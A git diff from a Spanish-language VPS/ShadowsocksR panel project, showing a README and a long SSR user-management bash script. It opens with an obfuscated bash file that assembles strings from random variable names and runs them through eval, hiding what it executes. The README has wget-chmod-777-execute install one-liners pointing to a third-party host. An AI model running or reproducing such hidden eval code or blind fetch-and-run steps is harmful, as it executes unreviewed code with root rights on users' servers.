sLMmSFxgBYNuTHwylzQdkDUJrmtGJLjsUsnHgvxWJPdCUUiMPFVKZxDeWfHKiqZtmmbPgekhUyckNYBZqXsDPifGrxwUBAk";ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr="o";efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb="6";iOumIOyWIXahCszcXkqWxsNuOVBInEugXzSgjgTZdpMmIlXrsLUffNwIlBNfZEwCrJctjOIMMMkFiDJybFgEdJywSykMxhtBuwQI="iAcwEldHOUMBZqJrxztdXueXvjSVbuHgOczjjPjaKdtgEEdhECkhegqrakfeXaZguNXzWnTRhYXZeBpnIaOrIFZthItsZPzxzfAu";pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO=" -d";DDTJurBDlhfpFPVEYOlzJwzRMBdAvyMjOhmGFxVCvJCvQcuBTDGgpChsBOYRTrvigIeUfHoxvfoRjgEdYLuonjLsVGhMNKLUZVns="xRCoErFasfhPmPKaabczQwHufaQZuHSQjEFhrkqetoIUWBSYNTrjbVlyUdQOgLTpMKvKNJdKvNzPNCKYBVTuBWCmSkppPULKfugf";brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM="";AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy="b";pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy="e";dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn="v |";Tx=Eds;AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU="";ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa=$(eval "$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr$dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU$RThWZBIQyyuUAJgXnULROTFLWSsSHfjQQIJabZKhtsMAxgmsnvPJiOnDxVQfCkaCSQJHYILPIvsugZWXsxzmXreoIEPBnejayZUz$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV$pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU");eval "$brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM$ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob" \ No newline at end of file diff --git a/Lista/v-local.log b/Lista/v-local.log new file mode 100644 index 0000000..5625e59 --- /dev/null +++ b/Lista/v-local.log @@ -0,0 +1 @@ +1.2 diff --git a/README.md b/README.md new file mode 100644 index 0000000..23b3dc3 --- /dev/null +++ b/README.md @@ -0,0 +1,15 @@ +# scriptcgh + +script instalación free sin key [modificas el ress y el nombre del server] +``` +wget https://darix.ooguy.com/drowkid01/scriptdk1/raw/branch/main/setup.free; chmod 777 setup.free; ./setup.free --chukk +``` + +script instalación con key @donpatobot +``` +wget -q https://darix.ooguy.com/drowkid01/scriptdk1/raw/branch/main/setup; chmod 777 setup; ./setup --ADMcgh +``` + +by @drowkid01 + +bais diff --git a/Recursos/.gitignore b/Recursos/.gitignore new file mode 100644 index 0000000..e31ee94 --- /dev/null +++ b/Recursos/.gitignore @@ -0,0 +1 @@ +up diff --git a/Recursos/C-SSR.sh b/Recursos/C-SSR.sh new file mode 100644 index 0000000..32e6385 --- /dev/null +++ b/Recursos/C-SSR.sh @@ -0,0 +1,2076 @@ +#!/bin/bash +#19/12/2019 +clear +msg -bar +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +sh_ver="1.0.26" +filepath=$(cd "$(dirname "$0")"; pwd) +file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') +ssr_folder="/usr/local/shadowsocksr" +config_file="${ssr_folder}/config.json" +config_user_file="${ssr_folder}/user-config.json" +config_user_api_file="${ssr_folder}/userapiconfig.py" +config_user_mudb_file="${ssr_folder}/mudb.json" +ssr_log_file="${ssr_folder}/ssserver.log" +Libsodiumr_file="/usr/local/lib/libsodium.so" +Libsodiumr_ver_backup="1.0.16" +Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh" +LotServer_file="/appex/bin/serverSpeeder.sh" +BBR_file="${file}/bbr.sh" +jq_file="${ssr_folder}/jq" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}" +Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}" +Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}" +Separator_1="——————————————————————————————" + +check_root(){ + [[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1 +} +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_pid(){ + PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +} +check_crontab(){ + [[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1 +} +SSR_installation_status(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1 +} +Server_Speeder_installation_status(){ + [[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1 +} +LotServer_installation_status(){ + [[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1 +} +BBR_installation_status(){ + if [[ ! -e ${BBR_file} ]]; then + echo -e "${Error} No encontre el script de BBR, comience a descargar ..." + cd "${file}" + if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then + echo -e "${Error} BBR script descargar!" && exit 1 + else + echo -e "${Info} BBR script descarga completa!" + chmod +x bbr.sh + fi + fi +} +#Establecer reglas de firewall +Add_iptables(){ + if [[ ! -z "${ssr_port}" ]]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + fi +} +Del_iptables(){ + if [[ ! -z "${port}" ]]; then + iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + fi +} +Save_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + fi +} +Set_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + chkconfig --level 2345 iptables on + chkconfig --level 2345 ip6tables on + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +#Leer la informacin de configuracin +Get_IP(){ + ip=$(wget -qO- -t1 -T2 ipinfo.io/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 api.ip.sb/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip) + if [[ -z "${ip}" ]]; then + ip="VPS_IP" + fi + fi + fi +} +Get_User_info(){ + Get_user_port=$1 + user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}") + match_info=$(echo "${user_info_get}"|grep -w "### user ") + if [[ -z "${match_info}" ]]; then + echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1 + fi + user_name=$(echo "${user_info_get}"|grep -w "user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + [[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)" +msg -bar + obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + #transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/') + #u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + #d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + [[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo" +msg -bar + speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + Get_User_transfer "${port}" +} +Get_User_transfer(){ + transfer_port=$1 + #echo "transfer_port=${transfer_port}" + all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file}) + #echo "all_port=${all_port}" + port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}') + #echo "port_num=${port_num}" + port_num_1=$(expr ${port_num} - 1) + #echo "port_num_1=${port_num_1}" + transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file}) + #echo "transfer_enable_1=${transfer_enable_1}" + u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file}) + #echo "u_1=${u_1}" + d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file}) + #echo "d_1=${d_1}" + transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1}) + #echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}" + transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1}) + #echo "transfer_enable_Used_1=${transfer_enable_Used_1}" + + + if [[ ${transfer_enable_1} -lt 1024 ]]; then + transfer_enable="${transfer_enable_1} B" + elif [[ ${transfer_enable_1} -lt 1048576 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}') + transfer_enable="${transfer_enable} KB" + elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}') + transfer_enable="${transfer_enable} MB" + elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}') + transfer_enable="${transfer_enable} GB" + elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}') + transfer_enable="${transfer_enable} TB" + fi + #echo "transfer_enable=${transfer_enable}" + if [[ ${u_1} -lt 1024 ]]; then + u="${u_1} B" + elif [[ ${u_1} -lt 1048576 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}') + u="${u} KB" + elif [[ ${u_1} -lt 1073741824 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}') + u="${u} MB" + elif [[ ${u_1} -lt 1099511627776 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}') + u="${u} GB" + elif [[ ${u_1} -lt 1125899906842624 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}') + u="${u} TB" + fi + #echo "u=${u}" + if [[ ${d_1} -lt 1024 ]]; then + d="${d_1} B" + elif [[ ${d_1} -lt 1048576 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}') + d="${d} KB" + elif [[ ${d_1} -lt 1073741824 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}') + d="${d} MB" + elif [[ ${d_1} -lt 1099511627776 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}') + d="${d} GB" + elif [[ ${d_1} -lt 1125899906842624 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}') + d="${d} TB" + fi + #echo "d=${d}" + if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then + transfer_enable_Used="${transfer_enable_Used_1} B" + elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}') + transfer_enable_Used="${transfer_enable_Used} KB" + elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}') + transfer_enable_Used="${transfer_enable_Used} MB" + elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}') + transfer_enable_Used="${transfer_enable_Used} GB" + elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}') + transfer_enable_Used="${transfer_enable_Used} TB" + fi + #echo "transfer_enable_Used=${transfer_enable_Used}" + if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then + transfer_enable_Used_2="${transfer_enable_Used_2_1} B" + elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}') + transfer_enable_Used_2="${transfer_enable_Used_2} KB" + elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}') + transfer_enable_Used_2="${transfer_enable_Used_2} MB" + elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}') + transfer_enable_Used_2="${transfer_enable_Used_2} GB" + elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}') + transfer_enable_Used_2="${transfer_enable_Used_2} TB" + fi + #echo "transfer_enable_Used_2=${transfer_enable_Used_2}" +} +urlsafe_base64(){ + date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') + echo -e "${date}" +} +ss_link_qr(){ + SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}") + SSurl="ss://${SSbase64}" + SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}" + ss_link=" SS Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}" +} +ssr_link_qr(){ + SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') + SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') + SSRPWDbase64=$(urlsafe_base64 "${password}") + SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}") + SSRurl="ssr://${SSRbase64}" + SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}" + ssr_link=" SSR Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}" +} +ss_ssr_determine(){ + protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` + obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` + if [[ ${protocol} = "origin" ]]; then + if [[ ${obfs} = "plain" ]]; then + ss_link_qr + ssr_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + ss_link="" + else + ss_link_qr + fi + fi + else + if [[ ${protocol_suffix} != "compatible" ]]; then + ss_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + if [[ ${obfs_suffix} = "plain" ]]; then + ss_link_qr + else + ss_link="" + fi + else + ss_link_qr + fi + fi + fi + ssr_link_qr +} +# Display configuration information +View_User(){ +clear + SSR_installation_status + List_port_user + while true + do + echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port + [[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',') + if [[ ! -z ${View_user} ]]; then + Get_User_info "${View_user_port}" + View_User_info + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +#read -p "Enter para continuar" enter +} +View_User_info(){ + ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + [[ -z "${ip}" ]] && Get_IP + ss_ssr_determine + clear + echo -e " Usuario [{user_name}] Informacion de Cuenta:" +msg -bar + echo -e " PANEL VPS-MX By @Kalix1" + + echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}" + + echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}" + + echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}" + + echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}" + + echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}" + + echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}" + + echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}" + + echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" + + echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" + + echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}" + + echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}" + + echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}" +msg -bar + echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}" +msg -bar + echo -e "${ss_link}" +msg -bar + echo -e "${ssr_link}" +msg -bar + echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix} + En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR." +msg -bar +} +#Configuracion de la informacion de configuracion +Set_config_user(){ +msg -bar + echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_user + [[ -z "${ssr_user}" ]] && ssr_user="VPS-MX" + echo && echo -e " Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo +} +Set_config_port(){ +msg -bar + while true + do + echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario " +msg -bar + stty erase '^H' && read -p "(Predeterminado: 2525):" ssr_port + [[ -z "$ssr_port" ]] && ssr_port="2525" + expr ${ssr_port} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then + echo && echo -e " Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + done +} +Set_config_password(){ +msg -bar + echo -e "\e[92m 3) Por favor ingrese una contrasena para el Usuario" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_password + [[ -z "${ssr_password}" ]] && ssr_password="VPS-MX" + echo && echo -e " contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo +} +Set_config_method(){ +msg -bar + echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m +$(msg -bar) + ${Green_font_prefix} 1.${Font_color_suffix} Ninguno + ${Green_font_prefix} 2.${Font_color_suffix} rc4 + ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5 + ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6 + ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr + ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr + ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr + ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb + ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb + ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb + ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8 + ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8 + ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8 + ${Green_font_prefix}14.${Font_color_suffix} salsa20 + ${Green_font_prefix}15.${Font_color_suffix} chacha20 + ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf + + ${Red_font_prefix}17.${Font_color_suffix} xsalsa20 + ${Red_font_prefix}18.${Font_color_suffix} xchacha20 +$(msg -bar) + ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method +msg -bar + [[ -z "${ssr_method}" ]] && ssr_method="16" + if [[ ${ssr_method} == "1" ]]; then + ssr_method="Ninguno" + elif [[ ${ssr_method} == "2" ]]; then + ssr_method="rc4" + elif [[ ${ssr_method} == "3" ]]; then + ssr_method="rc4-md5" + elif [[ ${ssr_method} == "4" ]]; then + ssr_method="rc4-md5-6" + elif [[ ${ssr_method} == "5" ]]; then + ssr_method="aes-128-ctr" + elif [[ ${ssr_method} == "6" ]]; then + ssr_method="aes-192-ctr" + elif [[ ${ssr_method} == "7" ]]; then + ssr_method="aes-256-ctr" + elif [[ ${ssr_method} == "8" ]]; then + ssr_method="aes-128-cfb" + elif [[ ${ssr_method} == "9" ]]; then + ssr_method="aes-192-cfb" + elif [[ ${ssr_method} == "10" ]]; then + ssr_method="aes-256-cfb" + elif [[ ${ssr_method} == "11" ]]; then + ssr_method="aes-128-cfb8" + elif [[ ${ssr_method} == "12" ]]; then + ssr_method="aes-192-cfb8" + elif [[ ${ssr_method} == "13" ]]; then + ssr_method="aes-256-cfb8" + elif [[ ${ssr_method} == "14" ]]; then + ssr_method="salsa20" + elif [[ ${ssr_method} == "15" ]]; then + ssr_method="chacha20" + elif [[ ${ssr_method} == "16" ]]; then + ssr_method="chacha20-ietf" + elif [[ ${ssr_method} == "17" ]]; then + 